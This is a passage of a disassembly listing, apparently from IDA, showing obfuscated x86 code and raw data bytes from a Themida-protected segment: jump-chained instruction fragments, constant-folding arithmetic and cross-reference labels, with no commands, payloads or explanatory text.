loc_54CFEA: ; CODE XREF: Themida_:0054DBF9j mov cl, dh pop edx add bh, cl pop cx and bh, 0B2h jmp loc_5469F3 ; --------------------------------------------------------------------------- loc_54CFF9: ; CODE XREF: Themida_:00548B77j sub esp, 4 mov [esp], ecx mov ecx, esp push edx mov edx, 594165C5h shr edx, 6 sub edx, 1650593h add ecx, edx jmp loc_54FF19 ; --------------------------------------------------------------------------- loc_54D017: ; CODE XREF: Themida_:005472E8j pop esi xor edi, [esp] jmp loc_54934F ; --------------------------------------------------------------------------- dd 0FF7AEDE9h, 8953ADFFh, 0B3B951E3h, 81233E65h, 736B19E9h dd 0C1E18170h, 813D2E2Fh, 377C78C1h, 57C18166h, 4119CA71h dd 1854F181h, 0CB01B00Ch, 4EB8159h, 87000000h, 895C241Ch dd 4268240Ch, 8B3A247Fh, 8953240Ch, 4C381E3h, 83000000h dd 1C8704C3h, 50525C24h, 2D97E9h, 24248900h, 4240483h dd 4C5815Dh, 0E9000000h, 36C6h, 0E924048Bh, 0FFFFA8CAh dd 5103EAC1h, 2343B5B9h, 6E1C102h, 0F181E9D1h, 7FB9587Dh dd 92E9CA01h, 8900003Ch, 22B9240Ch, 0E975AC3Dh, 0FFFF9ACAh dd 2BBh, 8BD92900h, 0C481241Ch, 4, 31240C33h, 0C33240Ch dd 0A2DFE924h, 8851FFFFh, 8BEE88E5h, 30E9240Ch, 81FFFF93h dd 4ECh, 240C8900h, 1570E9h, 240C8B00h, 3D74E9h, 24248B00h dd 0FF9B18E9h db 0FFh ; --------------------------------------------------------------------------- loc_54D109: ; CODE XREF: Themida_:0054AAE7j pop edx add esi, edi pop edi jmp loc_5508E6 ; --------------------------------------------------------------------------- loc_54D112: ; CODE XREF: Themida_:0055102Fj mov ebx, 63D76B8Ch add eax, ebx jmp loc_544BC0 ; --------------------------------------------------------------------------- dw 0E958h dd 0FFFFB735h, 4EF81h, 0EC830000h, 243C8904h, 42474FFh dd 5F2434FFh, 4C481h, 48F0000h, 24248B24h, 0E9241489h dd 0FFFFA8B0h, 83243C8Bh, 895604C4h, 4C681E6h, 81000000h dd 4EEh, 24348700h, 240C895Ch, 600C69B9h, 75CE958h, 0C5810000h dd 7E9008E8h, 0E9BA5256h, 5727D118h, 0FE89D789h, 0E6815A5Fh dd 13B25796h, 71E6814Eh, 0E9712D4Eh, 3607h, 5DFD68h, 0E65E900h dd 0C3000000h, 0E975C380h, 3F17h, 53B0E981h, 0D90103B8h dd 53B0C181h, 10303B8h, 56240C8Bh, 25E9E689h, 0FFFFD9h dd 2434FFF0h, 0F8EBE95Ah db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54D1D2: ; CODE XREF: Themida_:0054F8BBj xchg esi, [esp] pop esp jmp loc_54DFE0 ; --------------------------------------------------------------------------- db 0B1h dd 66CA289Dh, 66D03059h, 0E924148Bh, 0FFFFFCB7h, 0C90C262Dh dd 5830891Fh, 6824348Bh, 497Ah, 0E9240489h, 0FFFFADD2h dd 0E99CC885h, 0FFFF7906h db 8Bh, 4, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_547D56 ; --------------------------------------------------------------------------- db 0BDh dd 78784490h, 0E3CE581h, 0C5816994h, 3F27610Ah, 666BF581h dd 0C5814017h, 973517EFh, 62E9EB31h, 5DFFFF96h, 58C4E581h dd 10E97B21h, 87000011h, 505C243Ch, 405E089h, 51000000h dd 6A2648B9h, 0CBE98100h, 0E96EBB0Fh, 0BAAh, 20000605h dd 58C62908h, 35C9E9h, 685B5C00h, 41Dh, 3980E9h db 0 ; --------------------------------------------------------------------------- loc_54D27D: ; CODE XREF: Themida_:00546BA3j and eax, esi push dword ptr [esp] pop esi push edx push esp pop edx add edx, 4 jmp loc_544C40 ; --------------------------------------------------------------------------- aSr db ')хИr#',0 align 4 dd 24048B66h, 0FF8A93E9h, 5B0705FFh, 1C8B3A0Bh, 4C48124h dd 31000000h, 0E9008FC3h, 0FFFF785Ah, 62D8E781h, 0F7810C81h dd 0C301C2B3h, 895FF901h, 6D0559CFh, 0E90A8A0Bh, 162Dh dd 0B618E94Eh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54D2DA: ; CODE XREF: Themida_:0054ED64j sub [edi+20h], eax jmp loc_54589D ; --------------------------------------------------------------------------- loc_54D2E2: ; CODE XREF: Themida_:0054FFC6j push dword ptr [esp] mov eax, [esp] add esp, 4 push ebp push esp pop ebp jmp loc_54947B ; --------------------------------------------------------------------------- dw 0FE35h dd 0E962BAB4h, 0FFFF8578h, 0C6E9E689h, 5FFFFB4h, 243225BBh dd 0FFA8DDE9h db 0FFh ; --------------------------------------------------------------------------- loc_54D311: ; CODE XREF: Themida_:0054504Dj shr eax, 0Bh jmp loc_5505A8 ; --------------------------------------------------------------------------- db 66h, 8Bh, 0Ch aH4 db '$h4&',0 align 2 dw 1489h dd 53E28924h, 0FFEBA7E9h, 70DD05FFh, 1F056369h, 56C3624h dd 36943AAFh, 0FF944DE9h, 411A68FFh, 0C890000h, 53595424h dd 4BBh, 8BD90100h, 4FE9241Ch, 8100000Fh, 0EF134CEBh, 81CB0111h dd 0EF134CC3h, 9871E911h, 0E089FFFFh, 405h, 0CC63E900h dd 93E9FFFFh, 81FFFF77h, 3F0475EDh, 0E9C50154h, 280h, 0CFCFE95Fh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54D392: ; CODE XREF: Themida_:0054C80Dj add dword ptr [esp], 4 jmp loc_546782 ; --------------------------------------------------------------------------- dw 489h dd 24348124h, 34C14305h, 582434FFh, 4C481h, 41680000h dd 0E9000069h, 0FFFFE16Fh ; --------------------------------------------------------------------------- loc_54D3BC: ; CODE XREF: Themida_:00550257j xor ch, 40h add bl, ch pop ecx pop eax jmp loc_544D21 ; --------------------------------------------------------------------------- dd 0D71BE56h, 0F1291E78h, 0CBC1815Eh, 292A3328h, 0CBE981F1h dd 552A3328h, 780D71BDh, 5DE9011Eh, 240C875Eh, 2414895Ch dd 77CB68h, 24048900h, 0EBBE9h db 0 ; --------------------------------------------------------------------------- loc_54D3FD: ; CODE XREF: Themida_:0054B891j add edx, 4 xchg edx, [esp] mov esp, [esp] or eax, eax jmp loc_5485BE ; --------------------------------------------------------------------------- loc_54D40D: ; CODE XREF: Themida_:0054CD9Fj mov ecx, 2B013819h shr ecx, 8 sub ecx, 0CAAC81B1h push edx mov edx, ecx mov eax, edx mov edx, [esp] add esp, 4 pop ecx jmp loc_5498CC ; --------------------------------------------------------------------------- db 5Eh dd 0E904C483h, 0D98h, 24148759h, 0FF24248Bh, 34FF2434h dd 7AE95924h, 53FFFFD6h, 0C381E389h, 4, 0FFB6D2E9h db 0FFh ; --------------------------------------------------------------------------- loc_54D459: ; CODE XREF: Themida_:005456CBj push 4450h mov [esp], esi mov esi, 2 add ebx, 27EF67B9h sub ebx, esi sub ebx, 27EF67B9h mov esi, [esp] add esp, 4 xchg ebx, [esp] pop esp mov [esp], ax jmp loc_549A30 ; --------------------------------------------------------------------------- db 0FFh dd 0C8B2434h, 0CC685524h, 0E9000072h, 0FFFFFBE5h, 582434FFh dd 1F5FE951h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54D4A2: ; CODE XREF: Themida_:00549081j pop eax mov edx, [esp] push eax jmp loc_54C514 ; --------------------------------------------------------------------------- dd 0FE04C483h, 80C5FECDh, 0EF0860EDh, 8E7C059h, 51D1E780h dd 0C1FE24B1h, 0FFD2D2E9h, 32E95FFFh, 81000039h, 4C2h dd 24148700h, 0F4CCE95Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54D4DE: ; CODE XREF: Themida_:0054E4D5j add ebp, 4 push esi mov esi, 70C04104h jmp loc_54DDDF ; --------------------------------------------------------------------------- loc_54D4EF: ; CODE XREF: Themida_:00549F38j and edx, 5E845394h push edx mov edx, esp jmp loc_54DCED ; --------------------------------------------------------------------------- aFpM db 'fP╟m',0 dw 66C3h dd 0E6C38058h, 0C05BD830h, 0D0F608E0h, 6602EC83h, 52241C89h dd 82B781B2h, 0FFABD1E9h db 0FFh ; --------------------------------------------------------------------------- loc_54D521: ; CODE XREF: Themida_:00550941j dec ecx add ecx, 0BA36B78Bh add eax, ecx pop ecx push edi mov edi, 4 sub eax, 25E614DEh jmp loc_545E45 ; --------------------------------------------------------------------------- db 89h dd 0A282E9E6h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54D542: ; CODE XREF: Themida_:00549C94j pop ecx jmp loc_5493E1 ; --------------------------------------------------------------------------- dd 2BAh, 0FDDBE900h, 6866FFFFh, 896631A8h, 0F66240Ch, 87E9C8B6h db 0F8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54D563: ; CODE XREF: Themida_:0054D5AAj and edi, 3AA17217h inc edi jmp loc_547C73 ; --------------------------------------------------------------------------- db 59h dd 0E956D9F7h, 0FFFFC607h ; --------------------------------------------------------------------------- loc_54D578: ; CODE XREF: Themida_:0054FF26j push 5F6Bh mov [esp], ecx jmp loc_549F8E ; --------------------------------------------------------------------------- loc_54D585: ; CODE XREF: Themida_:0054A5D2j push edx jmp loc_54CD2B ; --------------------------------------------------------------------------- loc_54D58B: ; CODE XREF: Themida_:00547721j mov edx, [esp] add esp, 4 push edx mov edx, 4 sub eax, edx pop edx jmp loc_55002B ; --------------------------------------------------------------------------- loc_54D59F: ; CODE XREF: Themida_:0054C516j add eax, 4 push edi mov edi, 5E782831h jmp loc_54D563 ; --------------------------------------------------------------------------- db 5Ch dd 0BB241C89h, 30h, 3C7D301h, 0 dd 0C39D615Bh, 0FF7549E9h, 0DEB81FFh, 1075632h, 0DC381D3h dd 5A075632h, 875BDE01h, 1EE92434h, 80FFFFFBh, 0C38020EBh dd 1605E91Fh, 1C310000h, 241C3324h, 0F468565Ch, 5E098B7Dh dd 0D9F7CE87h, 0FFB15DE9h, 0E9D001FFh, 133Dh, 61868h, 241C8900h dd 0FF7BB8E9h, 241C8BFFh, 8F04C483h, 248B2404h, 148B6624h dd 4EC8124h, 89000000h, 0E0892404h, 4BB53h, 0D8010000h dd 2BB535Bh, 2D000000h, 365B4B8Dh, 287ED705h, 0CCBE565Eh dd 0E935C15Eh, 7F0h, 0B6525966h, 5AF300CAh, 681FEB80h dd 186h, 0B6241489h, 0E9F30020h, 0FFFFB0CAh ; --------------------------------------------------------------------------- loc_54D674: ; CODE XREF: Themida_:0054F58Cj xor edx, eax jmp loc_546827 ; --------------------------------------------------------------------------- db 81h dd 0FF7BFCEBh, 4BC18177h, 112FB3Bh, 0B4D5E9D9h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54D68E: ; CODE XREF: Themida_:00549830j push ebx add dword ptr [esp], 1BEA0B0Bh push dword ptr [esp] jmp loc_54A5D7 ; --------------------------------------------------------------------------- dw 3487h dd 24248B24h, 4C681h, 0C6810000h, 4, 8B243487h, 0E9F72424h dd 3154E9h db 0 ; --------------------------------------------------------------------------- loc_54D6BD: ; CODE XREF: Themida_:005509D4j mov eax, [esp] add esp, 4 sub esp, 4 mov [esp], eax mov eax, esp add eax, 4 add eax, 4 jmp loc_550B6C ; --------------------------------------------------------------------------- dd 5559CA01h, 1AB4E953h, 2BD0000h, 5000000h, 4E324BDAh dd 1B69E9h, 24248B00h, 14D7E957h, 0C4810000h, 4, 0DCBAE956h dd 0EB80FFFFh, 0C0B60F1Ah, 24148B66h, 0E95A5452h, 0FFFFBADFh dd 15BD889h, 0C30158C3h, 58A2EB81h, 0EC816FE6h, 4, 50240C89h dd 94085168h, 801CE918h, 535AFFFFh, 0D61852BBh, 0E9DBF746h dd 1038h ; --------------------------------------------------------------------------- loc_54D750: ; CODE XREF: Themida_:0054FA60j sub [esp], al pushf jmp loc_54E8B9 ; --------------------------------------------------------------------------- db 66h, 8Bh, 4 aHph db '$h▐H',0 align 2 dw 0C89h dd 57E18924h, 0FF9259E9h, 0E9515EFFh, 0FFFFC988h, 5EF2295Bh dd 2134C181h, 4DE964CCh db 0E5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54D783: ; CODE XREF: Themida_:005488D4j push ecx mov ecx, 0A02FA9D9h xor eax, ecx pop ecx add ebx, 7DBB4DA7h sub ebx, eax sub ebx, 7DBB4DA7h pop eax push eax mov eax, 24h add eax, edi add [eax], ebx pop eax push dword ptr [esp] jmp loc_5480DE ; --------------------------------------------------------------------------- loc_54D7AE: ; CODE XREF: Themida_:00546307j mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp pop esi shl ebp, 5 push 656Bh mov [esp], esi jmp loc_54FC3B ; --------------------------------------------------------------------------- db 5, 4, 0 dd 4050000h, 87000000h, 515C2404h, 1BDD68h, 24248900h dd 4240483h, 83240C8Bh, 0E8E904C4h db 2Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_54D7F7: ; CODE XREF: Themida_:00545F10j push 7F8Ch mov [esp], edx push ebp mov ebp, 49513576h dec ebp inc ebp xchg esi, ebp not esi xchg esi, ebp xor ebp, 0B6AECA8Dh mov edx, ebp jmp loc_548B6F ; --------------------------------------------------------------------------- dw 0F758h dd 81DBF7DBh, 187BC3CBh, 0FFEB8123h, 0E9FFFFFFh, 0FFFFFE4Bh dd 0F281DAF7h, 7428761Bh, 60BD554Ah, 31E63F6Ch, 0D6315DEAh dd 0E9F0315Ah, 0FFFFE672h, 3E9D821h, 0B9FFFF81h, 720E3B8Bh dd 52F6F181h, 30E94F4Ch, 0FEFFFFA1h, 84F780C7h, 88FA8852h dd 7949E9D5h, 6E68FFFFh, 0E9193E32h, 392Eh ; --------------------------------------------------------------------------- loc_54D87C: ; CODE XREF: Themida_:0054AE17j add esp, 4 push esi mov esi, 3E922A9h jmp loc_550B7E ; --------------------------------------------------------------------------- dw 0BB53h dd 4A2E2FF5h, 814BDBF7h, 0F93EE3CBh, 5C38105h, 0E96FFC7Bh dd 0FFFFDDDDh, 8CA6355Fh, 0C3018AF2h, 0E7CCE958h, 77FFFFFFh dd 58669D1Ch, 24041166h, 7250E99Ch, 8966FFFFh, 50662414h dd 0B4F3E99Ch, 0D9F7FFFFh, 0CDE9E1D1h, 5E000004h, 0B9515652h dd 3EA2440Fh, 0E906E1C1h, 0FFFFEF9Bh ; --------------------------------------------------------------------------- loc_54D8E8: ; CODE XREF: Themida_:0054F03Dj push 3E7Eh mov [esp], esi push ecx sub esp, 4 mov [esp], ebx push ebp mov ebp, 80000h mov ebx, ebp jmp loc_547860 ; --------------------------------------------------------------------------- dd 0B9240C89h, 373B3A4Ch, 0CEBE5652h, 0C14DF044h, 0C68105EEh dd 0FD907DD9h, 295EF289h, 0E9C15AD1h, 7E1C104h, 0D000F181h dd 4F09B9D9h, 240C8B1Ch, 815B5453h, 4C3h, 4C38100h, 87000000h dd 0E95C241Ch, 0FFFFBA36h ; --------------------------------------------------------------------------- loc_54D94C: ; CODE XREF: Themida_:0054E107j add bl, ch mov ecx, [esp] jmp loc_547D23 ; --------------------------------------------------------------------------- dw 0EB81h dd 2CAF738Bh, 95E9DD29h db 11h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54D963: ; CODE XREF: Themida_:00550D1Aj sub ecx, edx pop edx pop ebx add ecx, edx add ecx, 20B61425h mov [ecx], al pop ecx jmp loc_54EF68 ; --------------------------------------------------------------------------- db 81h dd 1E17E6EEh, 4EEC12Ch, 4F89F681h, 0EE817A97h, 2934B408h dd 0EE2CB305h, 0E9F02944h, 302Bh, 2B60F66h, 81E78957h dd 4C7h, 4EF8300h, 5C243C87h, 0E9240C89h, 0FFFF82A5h, 732433BFh dd 5FFD2957h, 448F581h, 0E901E863h, 8078E95Dh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54D9CA: ; CODE XREF: Themida_:00547E3Fj push 13Fh mov [esp], ebx mov ebx, 28h push ecx jmp loc_549B48 ; --------------------------------------------------------------------------- db 56h, 51h, 68h dd 7B147D3Fh, 0EDF18159h, 8978A767h, 0E6C159CEh, 80C68108h dd 0E97A9B81h, 0FFFFB555h ; --------------------------------------------------------------------------- loc_54D9FC: ; CODE XREF: Themida_:00549CDAj add edi, 4 sub edi, 4 xchg edi, [esp] pop esp jmp loc_5494A2 ; --------------------------------------------------------------------------- dw 0C481h dd 4, 2BF57h, 0C3810000h, 40385F39h, 0EB81FB01h, 40385F39h dd 0E9243C8Bh, 18E8h, 0D754E954h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54DA36: ; CODE XREF: Themida_:00550BB7j pop ebx push eax push edx mov edx, 0A1F1472h jmp loc_54A901 ; --------------------------------------------------------------------------- db 41h dd 2CD8F181h, 0E9C1372Bh, 4FC98104h, 8159B073h, 460005C1h dd 8BCF01A4h, 0C481240Ch, 4, 4B850h, 99E90000h, 66FFFF8Ah dd 68240C8Bh, 3A48h, 89242C89h, 622E9E5h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54DA82: ; CODE XREF: Themida_:0054AC09j add ebx, esi pop esi push ebp jmp loc_54DB3C ; --------------------------------------------------------------------------- db 51h dd 240C8B5Fh, 0FF7957E9h db 0FFh ; --------------------------------------------------------------------------- loc_54DA95: ; CODE XREF: Themida_:005452BBj neg dword ptr [esp] mov edx, [esp] add esp, 4 neg edx or edx, 587717EDh xor edx, 7B773F7Fh and ecx, edx jmp loc_54E573 ; --------------------------------------------------------------------------- loc_54DAB6: ; CODE XREF: Themida_:0054EA8Dj xor esi, 7B0708A5h add ebp, esi jmp loc_54AA95 ; --------------------------------------------------------------------------- db 83h dd 3C8704EFh, 3C895C24h, 4BA5224h, 89000000h, 0FA015AD7h dd 2BF575Fh, 1000000h, 14335FFAh, 0CBF9E924h, 0C788FFFFh dd 665BFD88h, 0E47FE958h, 8B66FFFFh, 0F968240Ch, 0E900003Ch dd 25E0h, 0E932FF66h, 0FFFF7006h ; --------------------------------------------------------------------------- loc_54DB0C: ; CODE XREF: Themida_:00549701j pop edi jmp loc_5480EA ; --------------------------------------------------------------------------- aSs db '^Иs*',0 align 4 aIHlw db '\┴$$h╚w',0 dd 0E903E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54DB26: ; CODE XREF: Themida_:00549C3Dj sub [edi+24h], eax mov eax, [esp] jmp loc_54B6E1 ; --------------------------------------------------------------------------- db 81h, 0F2h, 53h dd 0E9E96CF1h, 0FFFFB3C2h ; --------------------------------------------------------------------------- loc_54DB3C: ; CODE XREF: Themida_:0054DA86j mov ebp, 4 jmp loc_54E9A2 ; --------------------------------------------------------------------------- dw 1489h dd 2474FF24h, 48F5A04h, 24248B24h, 4DFEB951h, 0C98108FBh dd 0DD16BAAh, 0A37E952h, 0C4830000h, 8BF90104h, 2D9FE901h dd 68580000h, 6734h, 0FF74D5E9h, 5E089FFh, 4, 0FFAE94E9h dd 45866FFh, 2CF000CCh, 0EC815ACCh, 4, 24DAE9h, 4EC8100h dd 54000000h, 8324048Fh, 8F042404h, 4832404h, 64E90424h db 95h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54DBB7: ; CODE XREF: Themida_:0054EEE9j sub esp, 4 mov [esp], ecx mov ecx, 4 jmp loc_54F248 ; --------------------------------------------------------------------------- db 89h dd 19C768E0h, 14890000h, 4BA24h, 0DE90000h, 5EFFFFAFh dd 862CA81h, 0E9E94522h, 68000016h, 310Fh, 56243C89h, 8368E95Fh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54DBF6: ; CODE XREF: Themida_:005456DFj sub dh, 0B4h jmp loc_54CFEA ; --------------------------------------------------------------------------- dw 248Bh dd 87E5E924h, 74FFFFFFh, 8F5B0424h, 0E95C2404h, 0FFFF9DAFh ; --------------------------------------------------------------------------- loc_54DC14: ; CODE XREF: Themida_:0054FEA7j mov edi, [esp] add esp, 4 mov ebp, eax pop eax jmp loc_54AB44 ; --------------------------------------------------------------------------- dw 0C131h dd 65DE9h, 81FB0100h, 6433ABEBh, 0E933FF58h, 0FFFFC36Dh dd 3E2CA6B0h, 0FF94BCE9h, 240C87FFh, 0FF24248Bh, 148B2434h dd 0E35CE924h, 5B1FFFFh, 0E959CB88h, 0FFFFD398h ; --------------------------------------------------------------------------- loc_54DC5C: ; CODE XREF: Themida_:005502C2j movzx cx, ah push small 1453h mov [esp], cx movzx cx, al jmp loc_54A5F8 ; --------------------------------------------------------------------------- db 66h, 81h, 0F3h dd 316635C8h, 895CE9DDh, 5866FFFFh, 0C980D1F6h, 0BF18060h dd 0E959C800h, 0FFFFB3F6h, 4EC81h, 2C890000h, 81E58924h dd 4C5h, 4C58100h, 55000000h, 42474FFh, 0FFF191E9h, 58C301FFh dd 4BD55h, 0EB010000h, 241C335Dh, 33241C31h, 815C241Ch dd 8F1E59C2h, 0E9C9092Ah, 0FFFFE76Fh, 0E46DE9ADh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54DCDA: ; CODE XREF: Themida_:0054F10Aj add ebx, 85D09887h jmp loc_550414 ; --------------------------------------------------------------------------- loc_54DCE5: ; CODE XREF: Themida_:0054BE3Bj mov edx, [esp] jmp loc_54CBAD ; --------------------------------------------------------------------------- loc_54DCED: ; CODE XREF: Themida_:0054D4F8j push ecx mov ecx, 4 add edx, ecx pop ecx sub edx, 4 xchg edx, [esp] pop esp jmp loc_54860A ; --------------------------------------------------------------------------- loc_54DD05: ; CODE XREF: Themida_:005506EFj mov esp, [esp] btc [esp], ax pushf jmp loc_544B12 ; --------------------------------------------------------------------------- aCaCauXaun db '╤c─ф+(Ф─Н+X─Н╜',0 dw 80CEh dd 0C8BADC6h, 11E95124h, 5C000026h, 5E08950h, 4, 0FFC619E9h dd 5AF128FFh, 0FFABE7E9h, 9773B9FFh, 0D101A17Bh, 5724148Bh dd 6DE9E789h db 0CBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54DD57: ; CODE XREF: Themida_:0054DFD4j pop ebp add esp, 4 sub esp, 4 mov [esp], ebx mov eax, [esp] push edi mov edi, esp add edi, 4 sub edi, 4 push edi jmp loc_5498E6 ; --------------------------------------------------------------------------- dd 4A584ABBh, 0B4E95016h, 81FFFFAEh, 0A16AD2C2h, 5AD7290Fh dd 81242C8Bh, 4C4h, 2C78300h, 0E9243C87h, 729h, 0DA65F181h dd 0EB8157CDh, 3FFF3C92h, 74E9CB01h db 0DEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54DDB7: ; CODE XREF: Themida_:005483CFj mov [esp], esi push ebp mov ebp, esp add ebp, 4 sub ebp, 4 jmp loc_54B04D ; --------------------------------------------------------------------------- dw 0E1C1h dd 0A5F18108h, 318FA1BEh, 0F9E959CAh db 0DFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54DDDF: ; CODE XREF: Themida_:0054D4EAj neg esi dec esi xor esi, 1D2B76A2h push ecx push ebp mov ebp, 44DF5FDAh mov ecx, ebp mov ebp, [esp] add esp, 4 jmp loc_5461E9 ; --------------------------------------------------------------------------- loc_54DDFF: ; CODE XREF: Themida_:005465A1j or edi, eax pop eax jmp loc_54B9C4 ; --------------------------------------------------------------------------- db 89h dd 0A19EE9E1h, 0F181FFFFh, 7B706CA2h, 7ADBE981h, 0EC05EADFh dd 11F7151h, 51EC2DC8h, 33591F71h, 4312404h, 0B7E4E924h dd 0EAC1FFFFh, 0D659E908h, 6852FFFFh, 4018h, 0E9240C89h dd 0FFFF88A6h, 55EF001h, 4D77706Ah, 6A2DD801h, 2D4D7770h dd 35C15ECCh, 287ED72Dh, 4B8D055Eh, 0E95B365Bh, 2B14h dd 24048B66h, 66B768h, 243C8900h, 1AE95F54h, 1FFFF82h dd 80EE81EEh, 8B1A4841h, 0E950242Ch, 0FFFFF4DEh, 6101BB53h dd 0DF297124h, 81EF295Bh, 246101C7h, 5EE95D71h, 0FF00001Ah dd 0FF042474h, 0F2E92434h db 0E3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54DEB3: ; CODE XREF: Themida_:0054C777j mov [esp], eax sub esp, 4 mov [esp], edx mov edx, 305604C1h add [esp+4], edx mov edx, [esp] jmp loc_54571F ; --------------------------------------------------------------------------- dd 0A719E957h, 2C87FFFFh, 6FB4E924h, 0F700FFFFh, 5A23EF80h dd 1137E953h, 8E2D0000h, 525C4830h, 6801ACBAh, 60CA813Bh dd 6805307Ah, 339Eh, 0E9242C89h, 0FFFF7785h, 8650E951h dd 0B104FFFFh, 0D800C004h, 19E468h, 24148900h, 0B94AE951h dd 0C381FFFFh, 4FAA2896h, 0EB81F301h, 4FAA2896h, 8324348Bh dd 34FF04C4h, 89535D24h, 1794E9E3h, 0C5FE0000h, 5F3F68h dd 24148900h, 2CFDE9h, 0C8B6600h, 5A545224h, 0E904EC83h dd 0FFFF808Eh, 3EB5C581h, 0ED811027h, 703B0936h, 204C581h dd 0F50160D0h, 204ED81h, 0C16860D0h, 89000049h, 36BE2434h dd 1703B09h, 0ED815EF5h, 10273EB5h, 8324348Bh, 2C8704C4h dd 8B665C24h, 11E9240Ch db 70h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54DFA3: ; CODE XREF: Themida_:00550F39j xor edx, eax pop eax and eax, edx push dword ptr [esp] jmp loc_54A2AE ; --------------------------------------------------------------------------- dd 8BC4E95Bh, 57E9FFFFh, 81FFFF6Bh, 7B67B3CBh, 66E38156h dd 43647555h, 0FF7D1DE9h db 0FFh ; --------------------------------------------------------------------------- loc_54DFCD: ; CODE XREF: Themida_:00546C13j pop ecx add [eax], ebp pop eax push dword ptr [esp] jmp loc_54DD57 ; --------------------------------------------------------------------------- loc_54DFD9: ; CODE XREF: Themida_:00548180j and eax, esi jmp loc_550480 ; --------------------------------------------------------------------------- loc_54DFE0: ; CODE XREF: Themida_:0054D1D6j push 6BB9h mov [esp], ebp push dword ptr [esp+4] jmp loc_54FC2D ; --------------------------------------------------------------------------- db 66h, 50h, 88h dd 88D0F6F8h, 0F65866C7h, 4CFE53D7h, 0B6E90124h, 89FFFFABh dd 0D0882404h, 5A58C388h, 66D80059h, 81241C8Bh, 4ECh, 24048900h dd 0EAE9E089h, 0B9000017h, 3D853D39h, 0C2CBC181h, 0C801C27Ah dd 78BB5359h, 0C103DA24h, 0DDE908EBh, 5FFFFFECh, 125BBA52h dd 0D2F7389Bh, 0FFFAE0E9h db 0FFh ; --------------------------------------------------------------------------- loc_54E051: ; CODE XREF: Themida_:0054C507j add eax, edx pop edx add eax, 4 jmp loc_54F6B4 ; --------------------------------------------------------------------------- dw 0E089h dd 4FB7BE56h, 0E6817673h, 614076D4h, 0E905E6C1h, 0FFFFB980h dd 0D6F2E95Ah, 0E95FFFFFh, 0FFFF74D9h, 81E38953h, 4C3h dd 9E0AE900h, 48FFFFFh, 0EB5DE924h, 0D301FFFFh, 5F95EB81h dd 0E95A3A85h, 0EF3h, 4C581h, 0C5810000h, 2, 0FFC9F4E9h dd 4C483FFh, 8B66E820h, 0C481240Ch, 2, 557A68h, 240C8900h dd 0EC835954h, 241C8904h, 4BBh, 0E9D90100h, 0FFFF87C3h dd 515AD129h, 17240481h, 5A431B0Dh, 0D17EA81h, 0C159431Bh dd 0CEE904EAh db 0E8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E0FB: ; CODE XREF: Themida_:0054CE9Ej sub al, ch pop ecx push ecx mov ch, 44h shr ch, 5 sub ch, 44h jmp loc_54D94C ; --------------------------------------------------------------------------- dd 0FEA9F181h, 0CB014B7Fh, 4EC8359h, 0B9240C89h, 2, 0FFF236E9h dd 2474FFFFh, 2434FF04h, 726EE958h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E132: ; CODE XREF: Themida_:0054E5F3j push 1DE4h mov [esp], ebp push 0ABF3060h mov ebp, [esp] add esp, 4 add ebp, 697F1528h sub ebp, 184D2A89h mov edi, ebp pop ebp shr edi, 4 add edi, 1EAB4D50h push edx mov edx, 0C942AF8h or edi, edx pop edx xor edi, 32AB4EA2h push edi push ecx mov edi, [esp] jmp loc_5468F2 ; --------------------------------------------------------------------------- loc_54E179: ; CODE XREF: Themida_:0054EAABj pop esp xor ebx, eax sub edx, 7D3D54EFh jmp loc_547B65 ; --------------------------------------------------------------------------- loc_54E187: ; CODE XREF: Themida_:005478D6j sub esi, 0FB210646h add ebp, 712F786Ah jmp loc_5502A9 ; --------------------------------------------------------------------------- dd 6824048Bh, 682Dh, 54243489h, 4C6815Eh, 81000000h, 4C6h dd 24348700h, 0EB1CE95Ch, 0F028FFFFh, 0C3305A66h, 0FF7017E9h db 0FFh ; --------------------------------------------------------------------------- loc_54E1C5: ; CODE XREF: Themida_:00548084j pop esp mov [esp], edx mov edx, esp jmp loc_54B88B ; --------------------------------------------------------------------------- dd 0A520E952h, 72BAFFFFh, 81764F74h, 9E58D9F2h, 8092E959h dd 5954FFFFh, 4C181h, 30E90000h db 0B1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E1F3: ; CODE XREF: Themida_:0054C471j mov [esp], ebx mov bl, 9Ch and bl, 0E3h inc bl jmp loc_54B32D ; --------------------------------------------------------------------------- dw 815Eh dd 7D7453F2h, 38E95308h, 47FFFFBEh, 3366F781h, 0D7F74182h dd 0C781DFF7h, 0BD7C9BC6h, 835FFE01h, 73E904C6h, 81FFFFF4h dd 423929C7h, 52EF010Ch, 0F31A86BAh, 0C0F8E935h, 8B66FFFFh dd 6850240Ch, 4AADh, 0E9242489h, 0FFFFE371h, 240C8B66h dd 815D5455h, 4ECh, 240C8900h, 171BE9h, 2C58100h, 55000000h dd 42474FFh, 81242C8Bh, 4C4h, 24048F00h, 243CD35Ch, 2C81E99Ch dd 48B0000h, 4C48124h, 2D000000h, 282D63EEh, 51E9C829h dd 66FFFF8Eh, 6FE99C51h, 1FFFF68h, 0A612E9FBh, 8953FFFFh dd 4C381E3h, 